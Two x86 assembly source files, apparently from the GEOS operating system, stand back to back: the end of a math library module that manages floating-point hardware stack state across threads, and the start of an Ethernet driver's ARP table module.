es:[idataSem] call ThreadPSem ; grab exclusive right to the chip cmp ax, SE_NO_ERROR LONG jnz error clr bx ; get current thread handle mov ax, TGIT_THREAD_HANDLE call ThreadGetInfo ; ax <- thread handle mov myThread, ax ; save it away for later ; if we last thread (whose value is still in currentThread) is ; not the actual current thread we must context switch the chip cmp ax, es:[currentThread] jnz contextSwitch ; the following section of code checks for hardware stack overflows ; and underflows and swaps to and from the software stack as needed ; if the software stack over/underflows then we return the ; carry set as that is a true error clr cx ; do not yet have all the info we need softwareSwap: ; if di is zero the stack depth is not changing so don't worry mov dx, es:[stackDepth] add dx, di mov es:[stackDepth], dx tst di LONG jz doneNoError jg doOverFlow tst es:[stackDepth] LONG jz errorVSem jmp doneNoError doOverFlow: cmp dx, es:[hardwareStackDepth] clc LONG jle doneNoError ; there is a special case, that is if the depth was less than ; harwareStackSize to begin with, then we really need to skip the ; previously empty spaces clr cx mov ax, es:[stackDepth] sub ax, di sub ax, es:[hardwareStackDepth] jge contOverflow mov cx, ax contOverflow: mov ax, MR_OVERFLOW mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable ; do any swaps necessary jc errorVSem jmp doneNoError contextSwitch: ; a context switch consists of the following: ; first save away the entire current state of the chip for the ; last guy who was using it (if there was a last guy) ; then if its not our first time, get our old state back and ; load it into the chip ; I save si here so it only gets push and popped when there is ; a context switch push si mov_tr dx, ax ; dx <- the current thread mov cx, -1 ; don't update the depth ; first we get and store away our data call MathThreadListFindThread ;CX = fp software stack Handle ;DX = fp stack depth ;SI = fp hardware stack handle push cx, dx push si ; first get the old clients hardware stack handle ; and save the hardware state mov dx, es:[currentThread] mov cx, es:[stackDepth] ; new depth to update ; call MathThreadListUpdateDepth ; jc cont ; first one so no other thread call MathThreadListFindThread jc cont ; first one so no other thread mov es:[softwareStackHandle], cx mov es:[stackDepth], dx mov ax, MR_SAVE_STATE mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable cont: ; now get the state of this new client pop si ; used in MR_RESTORE_STATE mov ax, MR_RESTORE_STATE mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable mov bx, myThread mov es:[currentThread], bx pop cx, dx mov es:[stackDepth], dx mov es:[softwareStackHandle], cx pop si jmp softwareSwap doneNoError: clc done: .leave ret errorVSem: mov bx, es:[idataSem] call ThreadVSem error: stc jmp done FloatHardwareEnter endp public FloatHardwareEnter COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatHardwareLeave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: update the stack depth, bring any stuff over from software to hardware if there is room and VSem the math library CALLED BY: GLOBAL PASS: ax = change in stack depth this argument is used so update the stack depth to its correct value after an operation. Often it will be a negative number to indicate that the stack has shrunk in size, in which case we need to see if spots in the hardware stack have been opened up, if so and we have any values in the software stack extension we move them up to fill the blank spaces in the harware stack so that it always has as many values as possible in the hardware stack. If there are any spaces left open in the hardware stack after this routine is called it means that the software stack must be empty... RETURN: carry - clear (no error) DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatHardwareLeave proc far uses es, bx, cx .enter NOFXIP< segmov es, dgroup, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;ds = dgroup > mov cx, es:[stackDepth] add es:[stackDepth], ax clr bx tst ax clc jge doneNoError ; if we shrank, do underflow cmp cx, es:[hardwareStackDepth] clc jle doneNoError push di, ax mov di, ax ; gets passed to MR_UNDERFLOW mov cx, es:[hardwareStackDepth] sub cx, es:[stackDepth] jg cont clr cx cont: mov bx, es:[hardwareLibrary] mov ax, MR_UNDERFLOW call ProcGetLibraryEntry call ProcCallFixedOrMovable pop di, ax doneNoError: clc mov bx, es:[idataSem] call ThreadVSem .leave ret FloatHardwareLeave endp public FloatHardwareLeave COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatGetStackDepth %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: get the stack depth CALLED BY: GLOBAL PASS: nothing RETURN: ax = stack depth DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatGetStackDepth proc far uses es .enter NOFXIP< segmov es, dgroup, ax > FXIP < mov_tr ax, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > FXIP < mov_tr bx, ax ;restore bx > mov ax, es:[stackDepth] .leave ret FloatGetStackDepth endp public FloatGetStackDepth COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatSetStackDepth %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: set the stack depth CALLED BY: GLOBAL PASS: ax = stack depth RETURN: nothing DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatSetStackDepth proc far uses es, bx .enter NOFXIP< segmov es, dgroup, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;ds = dgroup > mov es:[stackDepth], ax .leave ret FloatSetStackDepth endp public FloatSetStackDepth COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatGetSoftwareStackHandle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: gets the handle of the software stack CALLED BY: GLOBAL PASS: nothing RETURN: bx = software stack handle of current active client DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 5/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatGetSoftwareStackHandle proc far uses es .enter NOFXIP< segmov es, dgroup, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[softwareStackHandle] EC < call ECCheckMemHandle > .leave ret FloatGetSoftwareStackHandle endp public FloatGetSoftwareStackHandle MathFixedCode ends ThreadListCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatHardwareInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: allocate state block and add client to thread list CALLED BY: GLOBAL PASS: bx = handle of software stack block RETURN: carry set on error DESTROYED: ax, bx, cx, dx PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/29/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatHardwareInit proc far uses ds,si,di,bp,es .enter NOFXIP< segmov es, dgroup, ax > FXIP < mov_tr ax, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > FXIP < mov_tr bx, ax ;restore bx > mov cx, bx ; save the handle for later ; do the semaphore first! mov bx, es:[idataSem] call ThreadPSem cmp ax, SE_NO_ERROR LONG jnz error ; now that we have done the semaphore we can use the ; libraries global variables mov es:[softwareStackHandle], cx ; save away the passed handle mov dx, es:[currentThread] mov cx, es:[stackDepth] ; new depth to update ; call MathThreadListUpdateDepth ; jc cont ; first one so no other thread call MathThreadListFindThread jc cont mov ax, MR_SAVE_STATE mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable cont: ; now allocate a new block for saving state for the new client mov ax, MR_GET_ENV_SIZE mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable ; cx <- size in bytes mov ax, cx ; must be made sharable as different geodes will actually do the ; saving of state when this block needs to be written out mov cx,(HAF_STANDARD shl 8) or mask HF_SWAPABLE or mask HF_SHARABLE call MemAlloc jc vsem ; now get all the information we need and stuff it into the ; thread list so that we can retrieve it on future context ; switches to this thread mov si, bx clr bx ; 0 = current thread mov ax, TGIT_THREAD_HANDLE call ThreadGetInfo ; ax <- thread handle mov bp, ax mov es:[currentThread], ax clr es:[stackDepth] clr dx ; initial depth = 0 mov cx, es:[softwareStackHandle] call MathThreadListAppend jc vsem ; now init the hardware chip and save the state for the new client ; we can do this after we append because the handle has been ; saved away in the list and now we just write to that handles ; block mov ax, MR_DO_HARDWARE_INIT mov bx, es:[hardwareLibrary] call ProcGetLibraryEntry call ProcCallFixedOrMovable vsem: mov bx, es:[idataSem] call ThreadVSem ; flags perserved jc done ; MemAlloc error propagated cmp ax, SE_NO_ERROR jne error clc done: .leave ret error: stc jmp done FloatHardwareInit endp public FloatHardwareInit COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatHardwareExit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: free up memory and thread list entry for stack state CALLED BY: hardware exit routine PASS: nothing RETURN: carry set if the thread list is now empty DESTROYED: nothing PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/29/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatHardwareExit proc far uses ds, es, si, di, ax, bx, cx, dx .enter NOFXIP< segmov es, dgroup, ax > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[idataSem] call ThreadPSem mov ax, TGIT_THREAD_HANDLE clr bx call ThreadGetInfo mov_tr dx, ax call MathThreadListDelete mov bx, es:[idataSem] call ThreadVSem .leave ret FloatHardwareExit endp public FloatHardwareExit COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MathThreadListDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Delete an entry from the Math Thread List PASS: *ds:si = MathClass instance data. ds:di = *ds:si. es = Segment of MathClass. ax = Method. dx = thread handle RETURN: carry set if nothing removed else carry clear zero flag = 1 if the thread list handle was freed DESTROYED: bx, ds, di, si, cx REGISTER/STACK USAGE: Standard dynamic register file. PSEUDOCODE/STRATEGY: search through to find this thread's element and delete it, moving the last element into its position KNOWN BUGS/SIDEFFECTS/CAVEATS/IDEAS: ??? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/25/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MathThreadListDelete proc far uses ax .enter ; Now see if the list handle has been allocated; ; if so, continue, else there has been an error ; push es NOFXIP< segmov es, dgroup, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[threadListHan] pop es EC < call ECCheckMemHandle > call MemLock ; lock the ThreadList block ; Get the number of elements in the list and make sure it's ; non-zero ; mov ds, ax ; ds <- pointer to ThreadList header tst ds:[MTLH_numberOfElements] jz errorNotFound ; ds:di <- pointer to last element, just beyond the header ; ; we must look from the back to the front so that ; if a single thread has done multiple FloatInits ; it will have several entries that got put in front ; to back. SO we always want to get the latest one ; put in by any givien thread, thus we search from back to front mov ax, size MathThreadList mov cx, ds:[MTLH_numberOfElements] EC < cmp cx, 0xff > EC < ERROR_A TOO_MANY_CLIENT_THREADS > dec cx mul cl add ax, size MathThreadListHeader mov_tr di, ax inc cx searchLoop: ; Go through the list, looking for the thread entry passed in. ; There can be only one entry per thread. ; cmp dx, ds:[di].MTL_threadHandle jz foundElement ; continue if we find the match sub di, size MathThreadList loop searchLoop ; If we get through the list and the element is not found, ; set the carry flag and return ; jmp errorNotFound foundElement: ; If we found the element, move the last element into the deleted ; element's place and clear the carry ; we also free up the hardware stack handle we were using push bx mov bx, ds:[di].MTL_hardwareStackHandle call MemFree pop bx call MathThreadListCompact clc ; Unlock the ThreadList block ; tst bx jz done doneUnlock: call MemUnlock done: .leave ret errorNotFound: ; Do some error notification ; stc jmp doneUnlock MathThreadListDelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MathThreadListCompact %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Move last item in list into vacated spot CALLED BY: MathThreadListCompact PASS: di = offset address of element that is being deleted ds = thread list block bx = thread list handle RETURN: Void. if the handle is freed, bx is set to zero DESTROYED: si, ax, cx PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 6/25/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MathThreadListCompact proc near .enter ; Since we are deleting an item, decrement the item count ; dec ds:[MTLH_numberOfElements] ; If this is the only element then we are done ; mov ax, ds:[MTLH_numberOfElements] tst ax jnz cont ; if it was the last element, then free up the ; list handle call MemFree push es NOFXIP< segmov es, dgroup, bx ; es = dgroup > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > clr bx ; return bx = 0 mov es:[threadListHan], bx pop es jmp done cont: ; Otherwise calculate the address of the last element ; push es, bx mov bl, size MathThreadList mul bl add ax, size MathThreadListHeader mov si, ax ; ds:si <- address of last element ; Move the last element into new empty slot ; segmov es, ds ; es:di = address of element to delete mov cx, size MathThreadList ; cx = # bytes to copy rep movsb ; copy last element over ; element to delete pop es, bx done: .leave ret MathThreadListCompact endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MathThreadListAppend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a thread to the Math Thread List. PASS: BP = thread handle CX = fp software stack handle DX = fp stack depth SI = fp hardware stack handle RETURN: carry set on error DESTROYED: bx, ax PSEUDOCODE/STRATEGY: since there will usually not be a lot of threads at once, I initially allocate space for MATH_THREAD_LIST_INIT_SIZE (which is about 5) structures and then just realloc more space if thats not enough, the semaphore is used so that we don't ever get two handles allocated KNOWN BUGS/SIDEFFECTS/IDES: ???? REVISION HISTORY: Name Date Description ---- ---- ---------- jimmy 6/25/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MathThreadListAppend proc far uses es .enter push cx, dx ; save input for the end NOFXIP< segmov es, dgroup, bx ; es = dgroup > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[threadListHan] ; get the list handle tst bx ; if zero, allocate some memory jnz cont ; else cont mov al, size MathThreadList ; set size of element mov cl, MATH_THREAD_LIST_INIT_SIZE ; multiply by initial amount mul cl add ax, size MathThreadListHeader ; add header size mov cx, ALLOC_DYNAMIC_LOCK or mask HF_SHARABLE mov bx, handle 0 ; make math library the owner call MemAllocSetOwner ; allocate memory jc errorAlloc mov es:[threadListHan], bx ; save away handle mov ds, ax ; Now initialize the header ; mov {word}ds:[MTLH_numberOfElements], 0 mov cx, MATH_THREAD_LIST_INIT_SIZE mov {word}ds:[MTLH_numberAllocated], cx jmp contNoLock cont: ; Lock the block ; call MemLock mov ds, ax ; ds = locked segment contNoLock: inc ds:[MTLH_numberOfElements] ; increment the number of elmts mov ax, ds:[MTLH_numberOfElements] ; if too overflow, realloc cmp ax, ds:[MTLH_numberAllocated] jle doAppend ; else go ahead and insert data add ax, MATH_THREAD_LIST_INIT_SIZE mov ds:[MTLH_numberAllocated], ax ; If need to realloc, allocate another MATH_THREAD_LIST_INIT_SIZE ; more, so that we don't realloc to often ; mov cl, size MathThreadList mul cl add ax, size MathThreadListHeader mov cx, mask HAF_LOCK call MemReAlloc jc errorAlloc mov ds, ax ; ds <- new locked segment mov ax, ds:[MTLH_numberOfElements] doAppend: ; Now calculate memory address to new element ; position = [(element number - 1) * (element size)] + header size ; dec al mov cl, size MathThreadList mul cl add ax, size MathThreadListHeader ; Retrieve data for new element and put it in element ; mov di, ax pop cx, dx mov ds:[di].MTL_stackDepth, dx mov ds:[di].MTL_threadHandle, bp mov ds:[di].MTL_softwareStackHandle, cx mov ds:[di].MTL_hardwareStackHandle, si call MemUnlock ; unlock our block done: .leave ret errorAlloc: pop cx, dx jmp done MathThreadListAppend endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MathThreadListFindThread %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: search through thread list to see if the thread entry is still around, if not then we must be careful about sending messages to Apps that have already exited PASS: dx = Thread Handle to search for cx = -1 means no update of depth otherwise cx = the new depth RETURN: carry set if not element found, otherwise: carry clear CX = fp software stack Handle DX = fp stack depth SI = fp hardware stack handle DESTROYED: AX REGISTER/STACK USAGE: Standard dynamic register file PSEUDOCODE/STRATEGY: search though the ThredList looking for a specific thread entry, return carry set if not found KNOWN BUGS/SIDEFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 7/17/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MathThreadListFindThread proc far uses di, ds .enter ; If there is no thread handle then return carry set ; push es NOFXIP< segmov es, dgroup, bx ;es = dgroup > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[threadListHan] pop es tst bx jz doneError ; Lock the ThreadList block ; call MemLock mov ds, ax ; If there are no elements return carry set ; tst ds:[MTLH_numberOfElements] jz noElement ; Now es:di <- last element and cx <- # of elements ; ; we must look from the back to the front so that ; if a single thread has done multiple FloatInits ; it will have several entries that got put in front ; to back. SO we always want to get the latest one ; put in by any givien thread, thus we search from back to front mov di, cx ; save new depth in di mov ax, size MathThreadList mov cx, ds:[MTLH_numberOfElements] EC < cmp cx, 0xff > EC < ERROR_A TOO_MANY_CLIENT_THREADS > dec cx mul cl add ax, size MathThreadListHeader xchg di, ax ; di <- offset of first element, ax <- new depth inc cx searchLoop: ; Now look at each element to see if the thread handle ; passed in matches any of the elements ; cmp dx, ds:[di].MTL_threadHandle ; If we find an match, return carry clear ; jz foundElement sub di, size MathThreadList loop searchLoop ; If we get through the list with no match found, ; set the carry and return ; jmp noElement foundElement: ; Clear carry, unlock block and return ; mov cx, ds:[di].MTL_softwareStackHandle mov si, ds:[di].MTL_hardwareStackHandle cmp ax, -1 jne updateDepth mov dx, ds:[di].MTL_stackDepth gotDepth: clc jmp doneUnlock updateDepth: mov ds:[di].MTL_stackDepth, ax mov_tr dx, ax jmp gotDepth noElement: ; Set the carry and unlock the block and return ; stc doneUnlock: ; Unlock the ThreadList block ; call MemUnlock done: ; All done, it's Miller time !!! ; .leave ret doneError: stc jmp done MathThreadListFindThread endp if 0 ; merged in with MainThreadListFindThread COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MathThreadListUpdatDepth %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: search through thread list to see if the thread entry is still around, if not then we must be careful about sending messages to Apps that have already exited PASS: *ds:si = MathClass instance data. ds:di = *ds:si. es = Segment of MathClass. dx = Thread Handle to search for cx = new depth value RETURN: carry set if not element found, otherwise: carry clear DESTROYED: Nada. REGISTER/STACK USAGE: Standard dynamic register file PSEUDOCODE/STRATEGY: search though the ThredList looking for a specific thread entry, return carry set if not found KNOWN BUGS/SIDEFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 7/17/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MathThreadListUpdateDepth proc far uses cx, ds, ax, di, bx .enter ; If there is no thread handle then return carry set ; push es NOFXIP< segmov es, dgroup, bx > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, es:[threadListHan] pop es tst bx jz doneError ; Lock the ThreadList block ; call MemLock mov ds, ax ; If there are no elements return carry set ; tst ds:[MTLH_numberOfElements] jz noElement ; Now es:di <- last element and cx <- # of elements ; ; we must look from the back to the front so that ; if a single thread has done multiple FloatInits ; it will have several entries that got put in front ; to back. SO we always want to get the latest one ; put in by any givien thread, thus we search from back to front ; mov_tr ax, cx push cx ; new depth mov di, size MathThreadListHeader mov cx, ds:[MTLH_numberOfElements] mov ax, size MathThreadList EC < cmp cx, 0xff > EC < ERROR_A TOO_MANY_CLIENT_THREADS > dec cx mul cl add di, ax inc cx pop ax ; get new depth back searchLoop: ; Now look at each element to see if the thread handle ; passed in matches any of the elements ; cmp dx, ds:[di].MTL_threadHandle ; If we find an match, return carry clear ; jz foundElement sub di, size MathThreadList loop searchLoop ; If we get through the list with no match found, ; set the carry and return ; jmp noElement foundElement: ; Clear carry, unlock block and return ; mov ds:[di].MTL_stackDepth, ax jmp doneUnlock noElement: ; Set the carry and unlock the block and return ; stc doneUnlock: ; Unlock the ThreadList block ; call MemUnlock done: ; All done, it's Miller time !!! ; .leave ret doneError: stc jmp done MathThreadListUpdateDepth endp endif ThreadListCode ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Edward Di Geronimo Jr. All rights reserved. PROJECT: Native ethernet support MODULE: Ethernet packet driver FILE: ethodiArp.asm AUTHOR: Edward Di Geronimo Jr. ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial revision DESCRIPTION: ARP $Id$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthPktArpInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Init the ARP module CALLED BY: EthDevInit PASS: nothing RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Upon driver exit, we don't bother freeing the ARP table block and let the kernel automatically free it. Saves a few bytes. REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpInit proc near uses ax, bx, cx, dx, si, di, ds, es .enter ; ; Get local Ethernet address from MLID. ; GetDGroup es, ax mov di, offset localEtherAddr mov ah, PDF_GET_ADDRESS mov bx, ds:[pktArpHandle] mov cx, size NodeAddr call callPacketDriver EC < ERROR_C ERROR_GETTING_MAC_ADDRESS > ; ; Create ARP table. ; CheckHack <LMEM_TYPE_GENERAL eq 0> clr ax, cx ; ax = LMEM_TYPE_GENERAL, cx = default ; header call MemAllocLMem ; bx = LMem block mov ax, mask HF_SHARABLE or (0 shl 8) ; set HF_SHARABLE call MemModifyFlags mov ax, handle 0 ; driver own the block. call HandleModifyOwner call MemLock ; ax = sptr mov ds, ax mov_tr ax, bx ; ^hax = block mov bx, size IpEtherArpEntry czr cx, si ; cx still 0 (default header), si = ; alloc lptr call ChunkArrayCreate ; *ds:si = array ; ; We can handle out-of-memory error when adding array entries, but we ; couldn't handle it when creating the array itself. ; BitSet ds:[LMBH_flags], LMF_RETURN_ERRORS mov_tr bx, ax ; ^lbx:si = array call MemUnlock movdw es:[arpTable], bxsi .leave ret EthPktArpInit endp InitCode ends MovableCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthPktArpAddCompleteEntry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add an complete entry in the ARP table, or replace an existing incomplete/complete entry. CALLED BY: (INTERNAL) PASS: dxax = IPAddr of destination, in network byte order bx:si = NodeAddr of remote machine handling this destination RETURN: nothing DESTROYED: nothing SIDE EFFECTS: All pending packets for this destination are transmitted PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EthPktArpAddCompleteEntry proc near uses ax, bx, cx ,dx, si, di, bp, ds, es .enter Assert fptr, bxsi pushdw bxsi ; save NodeAddr fptr ; ; See if an entry for this IP address exists. ; mov_tr cx, ax ; dxcx = IPAddr GetDGroup ds, bx movdw bxsi, ds:[arpTable] call MemLock mov ds, ax ; *ds:si = ARP table array mov bx, SEGMENT_CS mov di, offset EthPktArpCompareIp ; bx:di = callback call ChunkArrayEnum ; CF if found, ds:ax = IpEtherArpEntry mov_tr di, ax ; ds:di = IpEtherArpEntry if found jc fillEntry ; ; Allocate new entry and store IP address. ; call ChunkArrayAppend ; ds:di = IpEtherArpEntry, all zeroed Assert carryClear ;;; don't handler error for now movdw ds:[di].IEAE_ipAddr, dxcx fillEntry: ; ; Store Ethernet address. ; segmov es, ds ; es:di = IpEtherArpEntry popdw dssi ; ds:si = NodeAddr to add push di ; save IpEtherArpEntry nptr add di, offset IEAE_addrOrTs.IAOT_etherAddr ; es:di = IAOT_etherAddr CheckHack <(NODE_ADDR_SIZE and 1) eq 0> mov cx, NODE_ADDR_SIZE / 2 rep movsw pop di segmov ds, es ; ds:di = IpEtherArpEntry ; ; Set complete flag and get list of pending packets. ; EC < test ds:[di].IEAE_flags, mask AEF_COMPLETE > EC < jz 10$ > EC < Assert e, ds:[di].IEAE_packets.handle, NULL > EC <10$: > BitSet ds:[di].IEAE_flags, AEF_COMPLETE clr ax ; ax = null handle xchg ax, ds:[di].IEAE_packets.handle mov si, ds:[di].IEAE_packets.chunk ; ^lax:si = pending packet ; ; Unlock ARP table. ; mov bx, ds:[LMBH_handle] call MemUnlock mov_tr bx, ax ; ^lbx:si = pending packets if any GetDGroup es, ax jmp nextPacket sendPacket: Assert optr, bxsi ; ; Save the next packet down the list. ; call HugeLMemLock mov ds, ax ; *ds:si = packet mov di, ds:[si] pushdw <ds:[di + PACKET_HEADER_MAX_SIZE].IPH_next> call HugeLMemUnlock ; ; Send this packet. ; movdw dxbp, bxsi ; ^ldx:bp = packet mov bx, es:[etherThread] Assert thread, bx mov ax, MSG_EP_SEND_PACKET clr di call ObjMessage ; ; Loop to next packet ; popdw bxsi ; ^lbx:si = next packet nextPacket: tst bx jnz sendPacket .leave ret EthPktArpAddCompleteEntry endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EthPktArpCompareIp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check if passed IP address matches an existing entry. CALLED BY: (INTERNAL), via ChunkArrayEnum PASS: ds:di = IpEtherArpEntry dxcx = IPAddr, in network byte order RETURN: carry set if match ds:ax = passed IpEtherArpEntry that match carry clear if not match ax unchanged DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ed 04/29/02 Initial version 